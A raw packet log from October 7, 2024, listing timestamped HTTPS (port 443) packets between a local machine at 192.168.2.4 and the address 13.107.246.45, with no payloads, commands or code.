Oct 7, 2024 03:16:09.629057884 CEST	49825	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:09.629225969 CEST	443	49825	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.629266024 CEST	443	49825	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.629359007 CEST	49825	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:09.632307053 CEST	49830	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:09.632404089 CEST	443	49830	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.632514000 CEST	49830	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:09.632657051 CEST	49830	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:09.632678032 CEST	443	49830	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.951740980 CEST	443	49826	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.952373028 CEST	49826	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:09.952408075 CEST	443	49826	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.952931881 CEST	49826	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:09.952940941 CEST	443	49826	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.953638077 CEST	443	49827	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.953927994 CEST	49827	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:09.953958988 CEST	443	49827	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.954252958 CEST	49827	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:09.954258919 CEST	443	49827	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.970549107 CEST	443	49828	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.970825911 CEST	49828	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:09.970905066 CEST	443	49828	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.971155882 CEST	49828	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:09.971170902 CEST	443	49828	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.973311901 CEST	443	49829	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.973591089 CEST	49829	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:09.973654985 CEST	443	49829	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:09.973897934 CEST	49829	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:09.973912001 CEST	443	49829	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.053015947 CEST	443	49827	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.053190947 CEST	443	49827	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.053278923 CEST	49827	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.053558111 CEST	49827	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.053579092 CEST	443	49827	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.053591013 CEST	49827	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.053597927 CEST	443	49827	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.056516886 CEST	443	49826	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.056605101 CEST	443	49826	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.056660891 CEST	49826	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.056910038 CEST	49831	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.057009935 CEST	443	49831	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.057060003 CEST	49826	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.057079077 CEST	443	49826	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.057097912 CEST	49831	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.058033943 CEST	49831	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.058072090 CEST	443	49831	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.059200048 CEST	49832	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.059264898 CEST	443	49832	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.059331894 CEST	49832	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.059442997 CEST	49832	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.059453964 CEST	443	49832	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.073405981 CEST	443	49828	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.073554039 CEST	443	49828	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.073626995 CEST	49828	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.073760033 CEST	49828	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.073808908 CEST	443	49828	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.073846102 CEST	49828	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.073863983 CEST	443	49828	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.076410055 CEST	49833	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.076461077 CEST	443	49833	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.076747894 CEST	49833	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.076747894 CEST	49833	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.076785088 CEST	443	49833	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.080621004 CEST	443	49829	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.080704927 CEST	443	49829	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.080779076 CEST	49829	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.084218025 CEST	49829	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.084280968 CEST	443	49829	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.084314108 CEST	49829	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.084333897 CEST	443	49829	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.086934090 CEST	49834	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.086972952 CEST	443	49834	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.087153912 CEST	49834	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.087188005 CEST	49834	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.087198019 CEST	443	49834	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.298443079 CEST	443	49830	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.299036026 CEST	49830	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.299114943 CEST	443	49830	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.299499035 CEST	49830	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.299515009 CEST	443	49830	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.407439947 CEST	443	49830	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.407558918 CEST	443	49830	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.407670021 CEST	49830	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.411660910 CEST	49830	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.411660910 CEST	49830	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.411704063 CEST	443	49830	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.411734104 CEST	443	49830	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.414892912 CEST	49835	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.414941072 CEST	443	49835	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.415016890 CEST	49835	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.415170908 CEST	49835	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.415182114 CEST	443	49835	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.704669952 CEST	443	49831	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.705460072 CEST	49831	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.705472946 CEST	443	49831	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.706140041 CEST	49831	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.706145048 CEST	443	49831	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.711222887 CEST	443	49833	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.712208033 CEST	49833	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.712233067 CEST	443	49833	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.715182066 CEST	49833	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.715188980 CEST	443	49833	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.724881887 CEST	443	49832	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.725321054 CEST	49832	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.725354910 CEST	443	49832	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.725897074 CEST	49832	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.725903034 CEST	443	49832	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.736304998 CEST	443	49834	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.736911058 CEST	49834	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.736921072 CEST	443	49834	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.737422943 CEST	49834	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.737427950 CEST	443	49834	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.805594921 CEST	443	49831	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.805701971 CEST	443	49831	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.805835962 CEST	49831	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.806143045 CEST	49831	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.806185007 CEST	443	49831	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.806216002 CEST	49831	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.806232929 CEST	443	49831	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.809879065 CEST	49836	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.810012102 CEST	443	49836	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.810122967 CEST	49836	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.810297966 CEST	49836	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.810333014 CEST	443	49836	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.810889959 CEST	443	49833	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.811172962 CEST	443	49833	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.811249971 CEST	49833	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.811376095 CEST	49833	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.811377048 CEST	49833	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.811402082 CEST	443	49833	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.811418056 CEST	443	49833	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.814173937 CEST	49837	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.814225912 CEST	443	49837	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.814297915 CEST	49837	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.814517021 CEST	49837	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.814544916 CEST	443	49837	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.828224897 CEST	443	49832	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.828370094 CEST	443	49832	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.828423977 CEST	49832	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.828557014 CEST	49832	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.828578949 CEST	443	49832	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.828605890 CEST	49832	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.828613043 CEST	443	49832	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.831407070 CEST	49838	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.831442118 CEST	443	49838	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.831506968 CEST	49838	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.831842899 CEST	49838	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.831861019 CEST	443	49838	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.835300922 CEST	443	49834	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.835576057 CEST	443	49834	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.835648060 CEST	49834	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.835705042 CEST	49834	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.835711956 CEST	443	49834	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.835732937 CEST	49834	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.835738897 CEST	443	49834	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.838201046 CEST	49839	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.838305950 CEST	443	49839	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:10.838398933 CEST	49839	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.838541985 CEST	49839	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:10.838579893 CEST	443	49839	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:11.088426113 CEST	443	49835	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:11.090095043 CEST	49835	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:11.090140104 CEST	443	49835	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:11.090778112 CEST	49835	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:11.090785027 CEST	443	49835	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:11.193113089 CEST	443	49835	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:11.193294048 CEST	443	49835	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:11.193372965 CEST	49835	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:11.193553925 CEST	49835	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:11.193581104 CEST	443	49835	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:11.193595886 CEST	49835	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:11.193603039 CEST	443	49835	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:11.197649956 CEST	49840	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:11.197741032 CEST	443	49840	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:11.197833061 CEST	49840	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:11.198033094 CEST	49840	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:11.198065996 CEST	443	49840	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:11.445101976 CEST	443	49836	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:11.448044062 CEST	443	49837	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:11.451373100 CEST	49837	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:11.451371908 CEST	49836	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:11.451395988 CEST	443	49837	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:11.451407909 CEST	443	49836	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:11.452099085 CEST	49836	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:11.452114105 CEST	443	49836	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:11.452135086 CEST	49837	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:11.452141047 CEST	443	49837	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:11.473386049 CEST	443	49838	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:11.474000931 CEST	49838	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:11.474015951 CEST	443	49838	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:11.474617958 CEST	49838	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:11.474622965 CEST	443	49838	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:11.477257013 CEST	443	49839	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:11.477602005 CEST	49839	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:11.477629900 CEST	443	49839	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:11.478101969 CEST	49839	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:11.478112936 CEST	443	49839	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:11.546812057 CEST	443	49837	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:11.546891928 CEST	443	49837	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:11.546952963 CEST	49837	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:11.547166109 CEST	49837	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:11.547188044 CEST	443	49837	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:11.547200918 CEST	49837	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:11.547208071 CEST	443	49837	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:11.547292948 CEST	443	49836	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:11.547477007 CEST	443	49836	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:11.547513008 CEST	443	49836	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:11.547524929 CEST	49836	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:11.547559977 CEST	49836	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:11.547755003 CEST	49836	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:11.547775984 CEST	443	49836	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:11.547786951 CEST	49836	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:11.547791958 CEST	443	49836	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:11.552227974 CEST	49841	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:11.552330017 CEST	443	49841	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:11.552428007 CEST	49841	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:11.552491903 CEST	49842	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:11.552512884 CEST	443	49842	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:11.552587986 CEST	49842	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:11.552679062 CEST	49841	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:11.552711010 CEST	443	49841	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:11.552789927 CEST	49842	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:11.552810907 CEST	443	49842	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:11.573072910 CEST	443	49838	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:11.573124886 CEST	443	49838	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:11.573177099 CEST	443	49838	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:11.573554039 CEST	49838	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:11.573584080 CEST	49838	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:11.573584080 CEST	49838	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:11.573596001 CEST	443	49838	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:11.573647976 CEST	443	49838	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:11.574979067 CEST	443	49839	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:11.575319052 CEST	443	49839	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:11.575375080 CEST	49839	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:11.575500011 CEST	49839	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:11.575527906 CEST	443	49839	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:11.575551033 CEST	49839	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:11.575556993 CEST	443	49839	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:11.579041004 CEST	49843	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:11.579112053 CEST	443	49843	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:11.579206944 CEST	49843	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:11.580244064 CEST	49843	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:11.580275059 CEST	443	49843	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:11.580367088 CEST	49844	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:11.580409050 CEST	443	49844	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:11.580471992 CEST	49844	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:11.580661058 CEST	49844	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:11.580674887 CEST	443	49844	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:11.837908983 CEST	443	49840	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:11.838764906 CEST	49840	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:11.838830948 CEST	443	49840	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:11.839445114 CEST	49840	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:11.839462996 CEST	443	49840	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:11.937947989 CEST	443	49840	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:11.938738108 CEST	443	49840	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:11.938803911 CEST	49840	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:11.938905001 CEST	49840	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:11.938941956 CEST	443	49840	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:11.938968897 CEST	49840	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:11.938983917 CEST	443	49840	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:11.942250013 CEST	49845	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:11.942352057 CEST	443	49845	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:11.942440033 CEST	49845	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:11.942625999 CEST	49845	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:11.942662001 CEST	443	49845	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:12.185308933 CEST	443	49841	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:12.185811043 CEST	49841	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:12.185862064 CEST	443	49841	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:12.186286926 CEST	49841	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:12.186300993 CEST	443	49841	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:12.220385075 CEST	443	49843	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:12.220909119 CEST	49843	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:12.220946074 CEST	443	49843	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:12.221410990 CEST	49843	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:12.221426010 CEST	443	49843	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:12.239032984 CEST	443	49842	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:12.239553928 CEST	49842	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:12.239597082 CEST	443	49842	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:12.239857912 CEST	49842	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:12.239871025 CEST	443	49842	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:12.253937006 CEST	443	49844	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:12.254225016 CEST	49844	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:12.254250050 CEST	443	49844	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:12.254652977 CEST	49844	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:12.254659891 CEST	443	49844	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:12.284188986 CEST	443	49841	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:12.284301043 CEST	443	49841	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:12.284346104 CEST	443	49841	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:12.284373999 CEST	49841	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:12.284411907 CEST	49841	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:12.284562111 CEST	49841	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:12.284594059 CEST	443	49841	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:12.284621000 CEST	49841	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:12.284636974 CEST	443	49841	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:12.287658930 CEST	49846	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:12.287704945 CEST	443	49846	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:12.287794113 CEST	49846	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:12.287940025 CEST	49846	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:12.287957907 CEST	443	49846	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:12.317702055 CEST	443	49843	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:12.317845106 CEST	443	49843	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:12.317931890 CEST	49843	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:12.318128109 CEST	49843	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:12.318161011 CEST	443	49843	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:12.318187952 CEST	49843	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:12.318202019 CEST	443	49843	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:12.320483923 CEST	49847	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:12.320523024 CEST	443	49847	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:12.320600986 CEST	49847	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:12.320730925 CEST	49847	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:12.320746899 CEST	443	49847	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:12.345542908 CEST	443	49842	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:12.345820904 CEST	443	49842	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:12.345890045 CEST	49842	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:12.345957994 CEST	49842	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:12.345957994 CEST	49842	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:12.345988989 CEST	443	49842	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:12.346015930 CEST	443	49842	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:12.348030090 CEST	49848	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:12.348054886 CEST	443	49848	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:12.348119974 CEST	49848	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:12.348231077 CEST	49848	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:12.348248959 CEST	443	49848	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:12.358831882 CEST	443	49844	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:12.359180927 CEST	443	49844	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:12.359365940 CEST	49844	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:12.359365940 CEST	49844	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:12.359365940 CEST	49844	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:12.361310959 CEST	49849	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:12.361387014 CEST	443	49849	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:12.361540079 CEST	49849	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:12.361690044 CEST	49849	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:12.361713886 CEST	443	49849	13.107.246.45	192.168.2.4
